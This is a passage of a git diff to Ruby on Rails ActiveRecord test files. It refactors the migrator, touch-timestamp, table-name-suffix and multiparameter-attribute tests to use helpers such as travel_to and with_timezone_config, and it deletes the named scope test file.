+ assert_equal [[:down, 1]], calls
+ calls.clear
- def test_migrator_going_down_due_to_version_target
- calls, migrator = migrator_class(3)
+ # migrate down to 0 again
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal [], calls
+ end
- migrator.up("valid", 1)
- assert_equal [[:up, 1]], calls
- calls.clear
+ def test_migrator_going_down_due_to_version_target
+ calls, migrator = migrator_class(3)
- migrator.migrate("valid", 0)
- assert_equal [[:down, 1]], calls
- calls.clear
+ migrator.up("valid", 1)
+ assert_equal [[:up, 1]], calls
+ calls.clear
- migrator.migrate("valid")
- assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
- end
+ migrator.migrate("valid", 0)
+ assert_equal [[:down, 1]], calls
+ calls.clear
- def test_migrator_rollback
- _, migrator = migrator_class(3)
+ migrator.migrate("valid")
+ assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+ end
- migrator.migrate("valid")
- assert_equal(3, ActiveRecord::Migrator.current_version)
+ def test_migrator_rollback
+ _, migrator = migrator_class(3)
- migrator.rollback("valid")
- assert_equal(2, ActiveRecord::Migrator.current_version)
+ migrator.migrate("valid")
+ assert_equal(3, ActiveRecord::Migrator.current_version)
- migrator.rollback("valid")
- assert_equal(1, ActiveRecord::Migrator.current_version)
+ migrator.rollback("valid")
+ assert_equal(2, ActiveRecord::Migrator.current_version)
- migrator.rollback("valid")
- assert_equal(0, ActiveRecord::Migrator.current_version)
+ migrator.rollback("valid")
+ assert_equal(1, ActiveRecord::Migrator.current_version)
- migrator.rollback("valid")
- assert_equal(0, ActiveRecord::Migrator.current_version)
- end
+ migrator.rollback("valid")
+ assert_equal(0, ActiveRecord::Migrator.current_version)
- def test_migrator_db_has_no_schema_migrations_table
- _, migrator = migrator_class(3)
+ migrator.rollback("valid")
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+ end
- ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
- refute ActiveRecord::Base.connection.table_exists?('schema_migrations')
- migrator.migrate("valid", 1)
- assert ActiveRecord::Base.connection.table_exists?('schema_migrations')
- end
+ def test_migrator_db_has_no_schema_migrations_table
+ _, migrator = migrator_class(3)
- def test_migrator_forward
- _, migrator = migrator_class(3)
- migrator.migrate("/valid", 1)
- assert_equal(1, ActiveRecord::Migrator.current_version)
+ ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
+ assert_not ActiveRecord::Base.connection.table_exists?('schema_migrations')
+ migrator.migrate("valid", 1)
+ assert ActiveRecord::Base.connection.table_exists?('schema_migrations')
+ end
- migrator.forward("/valid", 2)
- assert_equal(3, ActiveRecord::Migrator.current_version)
+ def test_migrator_forward
+ _, migrator = migrator_class(3)
+ migrator.migrate("/valid", 1)
+ assert_equal(1, ActiveRecord::Migrator.current_version)
- migrator.forward("/valid")
- assert_equal(3, ActiveRecord::Migrator.current_version)
- end
+ migrator.forward("/valid", 2)
+ assert_equal(3, ActiveRecord::Migrator.current_version)
+
+ migrator.forward("/valid")
+ assert_equal(3, ActiveRecord::Migrator.current_version)
+ end
- def test_only_loads_pending_migrations
- # migrate up to 1
- ActiveRecord::SchemaMigration.create!(:version => '1')
+ def test_only_loads_pending_migrations
+ # migrate up to 1
+ ActiveRecord::SchemaMigration.create!(:version => '1')
- calls, migrator = migrator_class(3)
- migrator.migrate("valid", nil)
+ calls, migrator = migrator_class(3)
+ migrator.migrate("valid", nil)
- assert_equal [[:up, 2], [:up, 3]], calls
- end
+ assert_equal [[:up, 2], [:up, 3]], calls
+ end
- def test_get_all_versions
- _, migrator = migrator_class(3)
+ def test_get_all_versions
+ _, migrator = migrator_class(3)
- migrator.migrate("valid")
- assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
+ migrator.migrate("valid")
+ assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
- migrator.rollback("valid")
- assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
+ migrator.rollback("valid")
+ assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
- migrator.rollback("valid")
- assert_equal([1], ActiveRecord::Migrator.get_all_versions)
+ migrator.rollback("valid")
+ assert_equal([1], ActiveRecord::Migrator.get_all_versions)
- migrator.rollback("valid")
- assert_equal([], ActiveRecord::Migrator.get_all_versions)
- end
+ migrator.rollback("valid")
+ assert_equal([], ActiveRecord::Migrator.get_all_versions)
+ end
- private
- def m(name, version, &block)
- x = Sensor.new name, version
- x.extend(Module.new {
- define_method(:up) { block.call(:up, x); super() }
- define_method(:down) { block.call(:down, x); super() }
- }) if block_given?
- end
+ private
+ def m(name, version)
+ x = Sensor.new name, version
+ x.extend(Module.new {
+ define_method(:up) { yield(:up, x); super() }
+ define_method(:down) { yield(:down, x); super() }
+ }) if block_given?
+ end
- def sensors(count)
- calls = []
- migrations = count.times.map { |i|
- m(nil, i + 1) { |c,migration|
- calls << [c, migration.version]
- }
+ def sensors(count)
+ calls = []
+ migrations = count.times.map { |i|
+ m(nil, i + 1) { |c,migration|
+ calls << [c, migration.version]
}
- [calls, migrations]
- end
+ }
+ [calls, migrations]
+ end
- def migrator_class(count)
- calls, migrations = sensors(count)
+ def migrator_class(count)
+ calls, migrations = sensors(count)
- migrator = Class.new(Migrator).extend(Module.new {
- define_method(:migrations) { |paths|
- migrations
- }
- })
- [calls, migrator]
- end
+ migrator = Class.new(ActiveRecord::Migrator).extend(Module.new {
+ define_method(:migrations) { |paths|
+ migrations
+ }
+ })
+ [calls, migrator]
end
end
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
index f927c13979..7ddb2bfee1 100644
--- a/activerecord/test/cases/mixin_test.rb
+++ b/activerecord/test/cases/mixin_test.rb
@@ -3,42 +3,15 @@ require "cases/helper"
class Mixin < ActiveRecord::Base
end
-# Let us control what Time.now returns for the TouchTest suite
-class Time
- @@forced_now_time = nil
- cattr_accessor :forced_now_time
-
- class << self
- def now_with_forcing
- if @@forced_now_time
- @@forced_now_time
- else
- now_without_forcing
- end
- end
- alias_method_chain :now, :forcing
- end
-end
-
-
class TouchTest < ActiveRecord::TestCase
fixtures :mixins
- def setup
- Time.forced_now_time = Time.now
+ setup do
+ travel_to Time.now
end
- def teardown
- Time.forced_now_time = nil
- end
-
- def test_time_mocking
- five_minutes_ago = 5.minutes.ago
- Time.forced_now_time = five_minutes_ago
- assert_equal five_minutes_ago, Time.now
-
- Time.forced_now_time = nil
- assert_not_equal five_minutes_ago, Time.now
+ teardown do
+ travel_back
end
def test_update
@@ -68,12 +41,13 @@ class TouchTest < ActiveRecord::TestCase
old_updated_at = stamped.updated_at
- Time.forced_now_time = 5.minutes.from_now
- stamped.lft_will_change!
- stamped.save
+ travel 5.minutes do
+ stamped.lft_will_change!
+ stamped.save
- assert_equal Time.now, stamped.updated_at
- assert_equal old_updated_at, stamped.created_at
+ assert_equal Time.now, stamped.updated_at
+ assert_equal old_updated_at, stamped.created_at
+ end
end
def test_create_turned_off
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
index 08b3408665..6f65bf80eb 100644
--- a/activerecord/test/cases/modules_test.rb
+++ b/activerecord/test/cases/modules_test.rb
@@ -1,6 +1,8 @@
require "cases/helper"
require 'models/company_in_module'
require 'models/shop'
+require 'models/developer'
+require 'models/computer'
class ModulesTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :projects, :developers, :collections, :products, :variants
@@ -17,7 +19,7 @@ class ModulesTest < ActiveRecord::TestCase
ActiveRecord::Base.store_full_sti_class = false
end
- def teardown
+ teardown do
# reinstate the constants that we undefined in the setup
@undefined_consts.each do |constant, value|
Object.send :const_set, constant, value unless value.nil?
@@ -111,6 +113,34 @@ class ModulesTest < ActiveRecord::TestCase
classes.each(&:reset_table_name)
end
+ def test_module_table_name_suffix
+ assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_suffix'
+ assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_suffix'
+ assert_equal 'companies', MyApplication::Business::Suffixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_suffix should not be suffixed'
+ end
+
+ def test_module_table_name_suffix_with_global_suffix
+ classes = [ MyApplication::Business::Company,
+ MyApplication::Business::Firm,
+ MyApplication::Business::Client,
+ MyApplication::Business::Client::Contact,
+ MyApplication::Business::Developer,
+ MyApplication::Business::Project,
+ MyApplication::Business::Suffixed::Company,
+ MyApplication::Business::Suffixed::Nested::Company,
+ MyApplication::Billing::Account ]
+
+ ActiveRecord::Base.table_name_suffix = '_global'
+ classes.each(&:reset_table_name)
+ assert_equal 'companies_global', MyApplication::Business::Company.table_name, 'inferred table_name for ActiveRecord model in module without table_name_suffix'
+ assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_suffix'
+ assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_suffix'
+ assert_equal 'companies', MyApplication::Business::Suffixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_suffix should not be suffixed'
+ ensure
+ ActiveRecord::Base.table_name_suffix = ''
+ classes.each(&:reset_table_name)
+ end
+
def test_compute_type_can_infer_class_name_of_sibling_inside_module
old = ActiveRecord::Base.store_full_sti_class
ActiveRecord::Base.store_full_sti_class = true
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
index 1209f5460f..14d4ef457d 100644
--- a/activerecord/test/cases/multiparameter_attributes_test.rb
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -5,12 +5,6 @@ require 'models/customer'
class MultiParameterAttributeTest < ActiveRecord::TestCase
fixtures :topics
- def setup
- ActiveRecord::Base.time_zone_aware_attributes = false
- ActiveRecord::Base.default_timezone = :local
- Time.zone = nil
- end
-
def test_multiparameter_attributes_on_date
attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
topic = Topic.find(1)
@@ -82,13 +76,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
end
def test_multiparameter_attributes_on_time
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ with_timezone_config default: :local do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
end
def test_multiparameter_attributes_on_time_with_no_date
@@ -148,13 +144,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
end
def test_multiparameter_attributes_on_time_will_ignore_hour_if_missing
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
- "written_on(5i)" => "12", "written_on(6i)" => "02"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+ with_timezone_config default: :local do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
+ "written_on(5i)" => "12", "written_on(6i)" => "02"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+ end
end
def test_multiparameter_attributes_on_time_will_ignore_hour_if_blank
@@ -176,6 +174,7 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
topic.attributes = attributes
assert_nil topic.written_on
end
+
def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty
attributes = {
"written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
@@ -187,93 +186,94 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
end
def test_multiparameter_attributes_on_time_with_utc
- ActiveRecord::Base.default_timezone = :utc
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ with_timezone_config default: :utc do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
end
def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
- Time.zone = ActiveSupport::TimeZone[-28800]
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
- assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
- assert_equal Time.zone, topic.written_on.time_zone
+ with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+ assert_equal Time.zone, topic.written_on.time_zone
+ end
end
def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
- Time.zone = ActiveSupport::TimeZone[-28800]
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
- assert_equal false, topic.written_on.respond_to?(:time_zone)
+ with_timezone_config default: :local, aware_attributes: false, zone: -28800 do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ assert_equal false, topic.written_on.respond_to?(:time_zone)
+ end
end
def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
- Time.zone = ActiveSupport::TimeZone[-28800]
- Topic.skip_time_zone_conversion_for_attributes = [:written_on]
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
- assert_equal false, topic.written_on.respond_to?(:time_zone)
+ with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+ Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ assert_equal false, topic.written_on.respond_to?(:time_zone)
+ end
ensure
Topic.skip_time_zone_conversion_for_attributes = []
end
- # Oracle, and Sybase do not have a TIME datatype.
- unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+ # Oracle does not have a TIME datatype.
+ unless current_adapter?(:OracleAdapter)
def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
- Time.zone = ActiveSupport::TimeZone[-28800]
+ with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+ attributes = {
+ "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+ "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
+ assert topic.bonus_time.utc?
+ end
+ end
+ end
+
+ def test_multiparameter_attributes_on_time_with_empty_seconds
+ with_timezone_config default: :local do
attributes = {
- "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
- "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
}
topic = Topic.find(1)
topic.attributes = attributes
- assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
- assert topic.bonus_time.utc?
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
end
end
- def test_multiparameter_attributes_on_time_with_empty_seconds
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
- end
-
- def test_multiparameter_attributes_setting_time_attribute
- return skip "Oracle does not have TIME data type" if current_adapter? :OracleAdapter
-
- topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
- assert_equal 1, topic.bonus_time.hour
- assert_equal 5, topic.bonus_time.min
+ unless current_adapter? :OracleAdapter
+ def test_multiparameter_attributes_setting_time_attribute
+ topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
+ assert_equal 1, topic.bonus_time.hour
+ assert_equal 5, topic.bonus_time.min
+ end
end
def test_multiparameter_attributes_setting_date_attribute
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index 2e386a172a..3831de6ae3 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -101,7 +101,7 @@ class MultipleDbTest < ActiveRecord::TestCase
College.first.courses.first
end
ensure
- ActiveRecord::Base.establish_connection 'arunit'
+ ActiveRecord::Base.establish_connection :arunit
end
end
end
diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb
deleted file mode 100644
index bd121126e7..0000000000
--- a/activerecord/test/cases/named_scope_test.rb
+++ /dev/null
@@ -1,449 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/topic'
-require 'models/comment'
-require 'models/reply'
-require 'models/author'
-require 'models/developer'
-
-class NamedScopeTest < ActiveRecord::TestCase
- fixtures :posts, :authors, :topics, :comments, :author_addresses
-
- def test_implements_enumerable
- assert !Topic.all.empty?
-
- assert_equal Topic.all.to_a, Topic.base
- assert_equal Topic.all.to_a, Topic.base.to_a
- assert_equal Topic.first, Topic.base.first
- assert_equal Topic.all.to_a, Topic.base.map { |i| i }
- end
-
- def test_found_items_are_cached
- all_posts = Topic.base
-
- assert_queries(1) do
- all_posts.collect
- all_posts.collect
- end
- end
-
- def test_reload_expires_cache_of_found_items
- all_posts = Topic.base
- all_posts.to_a
-
- new_post = Topic.create!
- assert !all_posts.include?(new_post)
- assert all_posts.reload.include?(new_post)
- end
-
- def test_delegates_finds_and_calculations_to_the_base_class
- assert !Topic.all.empty?
-
- assert_equal Topic.all.to_a, Topic.base.to_a
- assert_equal Topic.first, Topic.base.first
- assert_equal Topic.count, Topic.base.count
- assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
- end
-
- def test_method_missing_priority_when_delegating
- klazz = Class.new(ActiveRecord::Base) do
- self.table_name = "topics"
- scope :since, Proc.new { where('written_on >= ?', Time.now - 1.day) }
- scope :to, Proc.new { where('written_on <= ?', Time.now) }
- end
- assert_equal klazz.to.since.to_a, klazz.since.to.to_a
- end
-
- def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
- assert Topic.approved.respond_to?(:limit)
- assert Topic.approved.respond_to?(:count)
- assert Topic.approved.respond_to?(:length)
- end
-
- def test_respond_to_respects_include_private_parameter
- assert !Topic.approved.respond_to?(:tables_in_string)
- assert Topic.approved.respond_to?(:tables_in_string, true)
- end
-
- def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
- assert !Topic.all.merge!(:where => {:approved => true}).to_a.empty?
-
- assert_equal Topic.all.merge!(:where => {:approved => true}).to_a, Topic.approved
- assert_equal Topic.where(:approved => true).count, Topic.approved.count
- end
-
- def test_scopes_with_string_name_can_be_composed
- # NOTE that scopes defined with a string as a name worked on their own
- # but when called on another scope the other scope was completely replaced
- assert_equal Topic.replied.approved, Topic.replied.approved_as_string
- end
-
- def test_scopes_are_composable
- assert_equal((approved = Topic.all.merge!(:where => {:approved => true}).to_a), Topic.approved)
- assert_equal((replied = Topic.all.merge!(:where => 'replies_count > 0').to_a), Topic.replied)
- assert !(approved == replied)
- assert !(approved & replied).empty?
-
- assert_equal approved & replied, Topic.approved.replied
- end
-
- def test_procedural_scopes
- topics_written_before_the_third = Topic.where('written_on < ?', topics(:third).written_on)
- topics_written_before_the_second = Topic.where('written_on < ?', topics(:second).written_on)
- assert_not_equal topics_written_before_the_second, topics_written_before_the_third
-
- assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
- assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
- end
-
- def test_procedural_scopes_returning_nil
- all_topics = Topic.all
-
- assert_equal all_topics, Topic.written_before(nil)
- end
-
- def test_scope_with_object
- objects = Topic.with_object
- assert_operator objects.length, :>, 0
- assert objects.all?(&:approved?), 'all objects should be approved'
- end
-
- def test_has_many_associations_have_access_to_scopes
- assert_not_equal Post.containing_the_letter_a, authors(:david).posts
- assert !Post.containing_the_letter_a.empty?
-
- assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
- end
-
- def test_scope_with_STI
- assert_equal 3,Post.containing_the_letter_a.count
- assert_equal 1,SpecialPost.containing_the_letter_a.count
- end
-
- def test_has_many_through_associations_have_access_to_scopes
- assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
- assert !Comment.containing_the_letter_e.empty?
-
- assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
- end
-
- def test_scopes_honor_current_scopes_from_when_defined
- assert !Post.ranked_by_comments.limit_by(5).empty?
- assert !authors(:david).posts.ranked_by_comments.limit_by(5).empty?
- assert_not_equal Post.ranked_by_comments.limit_by(5), authors(:david).posts.ranked_by_comments.limit_by(5)
- assert_not_equal Post.top(5), authors(:david).posts.top(5)
- # Oracle sometimes sorts differently if WHERE condition is changed
- assert_equal authors(:david).posts.ranked_by_comments.limit_by(5).to_a.sort_by(&:id), authors(:david).posts.top(5).to_a.sort_by(&:id)
- assert_equal Post.ranked_by_comments.limit_by(5), Post.top(5)
- end
-
- def test_active_records_have_scope_named__all__
- assert !Topic.all.empty?
-
- assert_equal Topic.all.to_a, Topic.base
- end
-
- def test_active_records_have_scope_named__scoped__
- scope = Topic.where("content LIKE '%Have%'")
- assert !scope.empty?
-
- assert_equal scope, Topic.all.merge!(where: "content LIKE '%Have%'")
- end
-
- def test_first_and_last_should_allow_integers_for_limit
- assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
- assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2)
- end
-
- def test_first_and_last_should_not_use_query_when_results_are_loaded
- topics = Topic.base
- topics.reload # force load
- assert_no_queries do
- topics.first
- topics.last
- end
- end
-
- def test_empty_should_not_load_results
- topics = Topic.base
- assert_queries(2) do
- topics.empty? # use count query
- topics.collect # force load
- topics.empty? # use loaded (no query)
- end
- end
-
- def test_any_should_not_load_results
- topics = Topic.base
- assert_queries(2) do
- topics.any? # use count query
- topics.collect # force load
- topics.any? # use loaded (no query)
- end
- end
-
- def test_any_should_call_proxy_found_if_using_a_block
- topics = Topic.base
- assert_queries(1) do
- topics.expects(:empty?).never
- topics.any? { true }
- end
- end
-
- def test_any_should_not_fire_query_if_scope_loaded
- topics = Topic.base
- topics.collect # force load
- assert_no_queries { assert topics.any? }
- end
-
- def test_model_class_should_respond_to_any
- assert Topic.any?
- Topic.delete_all
- assert !Topic.any?
- end
-
- def test_many_should_not_load_results
- topics = Topic.base
- assert_queries(2) do
- topics.many? # use count query
- topics.collect # force load
- topics.many? # use loaded (no query)
- end
- end
-
- def test_many_should_call_proxy_found_if_using_a_block
- topics = Topic.base
- assert_queries(1) do
- topics.expects(:size).never
- topics.many? { true }
- end
- end
-
- def test_many_should_not_fire_query_if_scope_loaded
- topics = Topic.base
- topics.collect # force load
- assert_no_queries { assert topics.many? }
- end
-
- def test_many_should_return_false_if_none_or_one
- topics = Topic.base.where(:id => 0)
- assert !topics.many?
- topics = Topic.base.where(:id => 1)
- assert !topics.many?
- end
-
- def test_many_should_return_true_if_more_than_one
- assert Topic.base.many?
- end
-
- def test_model_class_should_respond_to_many
- Topic.delete_all
- assert !Topic.many?
- Topic.create!
- assert !Topic.many?
- Topic.create!
- assert Topic.many?
- end
-
- def test_should_build_on_top_of_scope
- topic = Topic.approved.build({})
- assert topic.approved
- end
-
- def test_should_build_new_on_top_of_scope
- topic = Topic.approved.new
- assert topic.approved
- end
-
- def test_should_create_on_top_of_scope
- topic = Topic.approved.create({})
- assert topic.approved
- end
-
- def test_should_create_with_bang_on_top_of_scope
- topic = Topic.approved.create!({})
- assert topic.approved
- end
-
- def test_should_build_on_top_of_chained_scopes
- topic = Topic.approved.by_lifo.build({})
- assert topic.approved
- assert_equal 'lifo', topic.author_name
- end
-
- def test_find_all_should_behave_like_select
- assert_equal Topic.base.to_a.select(&:approved), Topic.base.to_a.find_all(&:approved)
- end
-
- def test_rand_should_select_a_random_object_from_proxy
- assert_kind_of Topic, Topic.approved.sample
- end
-
- def test_should_use_where_in_query_for_scope
- assert_equal Developer.where(name: 'Jamis').to_set, Developer.where(id: Developer.jamises).to_set
- end
-
- def test_size_should_use_count_when_results_are_not_loaded
- topics = Topic.base
- assert_queries(1) do
- assert_sql(/COUNT/i) { topics.size }
- end
- end
-
- def test_size_should_use_length_when_results_are_loaded
- topics = Topic.base
- topics.reload # force load
- assert_no_queries do
- topics.size # use loaded (no query)
- end
- end
-
- def test_should_not_duplicates_where_values
- where_values = Topic.where("1=1").scope_with_lambda.where_values
- assert_equal ["1=1"], where_values
- end
-
- def test_chaining_with_duplicate_joins
- join = "INNER JOIN comments ON comments.post_id = posts.id"
- post = Post.find(1)
- assert_equal post.comments.size, Post.joins(join).joins(join).where("posts.id = #{post.id}").size
- end
-
- def test_chaining_should_use_latest_conditions_when_creating
- post = Topic.rejected.new
- assert !post.approved?
-
- post = Topic.rejected.approved.new
- assert post.approved?
-
- post = Topic.approved.rejected.new
- assert !post.approved?
-
- post = Topic.approved.rejected.approved.new
- assert post.approved?
- end
-
- def test_chaining_should_use_latest_conditions_when_searching
- # Normal hash conditions
- assert_equal Topic.where(:approved => true).to_a, Topic.rejected.approved.to_a
- assert_equal Topic.where(:approved => false).to_a, Topic.approved.rejected.to_a
-
- # Nested hash conditions with same keys
- assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.to_a
-
- # Nested hash conditions with different keys
- assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).to_a.uniq
- end
-
- def test_scopes_batch_finders
- assert_equal 3, Topic.approved.count
-
- assert_queries(4) do
- Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
- end
-
- assert_queries(2) do
- Topic.approved.find_in_batches(:batch_size => 2) do |group|
- group.each {|t| assert t.approved? }
- end
- end
- end
-
- def test_table_names_for_chaining_scopes_with_and_without_table_name_included
- assert_nothing_raised do
- Comment.for_first_post.for_first_author.to_a
- end
- end
-
- def test_scopes_on_relations
- # Topic.replied
- approved_topics = Topic.all.approved.order('id DESC')
- assert_equal topics(:fourth), approved_topics.first
-
- replied_approved_topics = approved_topics.replied
- assert_equal topics(:third), replied_approved_topics.first
- end
-
- def test_index_on_scope
- approved = Topic.approved.order('id ASC')
- assert_equal topics(:second), approved[0]
- assert approved.loaded?
- end
-
- def test_nested_scopes_queries_size
- assert_queries(1) do
- Topic.approved.by_lifo.replied.written_before(Time.now).to_a
- end
- end
-
- # Note: these next two are kinda odd because they are essentially just testing that the
- # query cache works as it should, but they are here for legacy reasons as they was previously
- # a separate cache on association proxies, and these show that that is not necessary.
- def test_scopes_are_cached_on_associations
- post = posts(:welcome)
-
- Post.cache do
- assert_queries(1) { post.comments.containing_the_letter_e.to_a }
- assert_no_queries { post.comments.containing_the_letter_e.to_a }
- end
- end
-
- def test_scopes_with_arguments_are_cached_on_associations
- post = posts(:welcome)
-
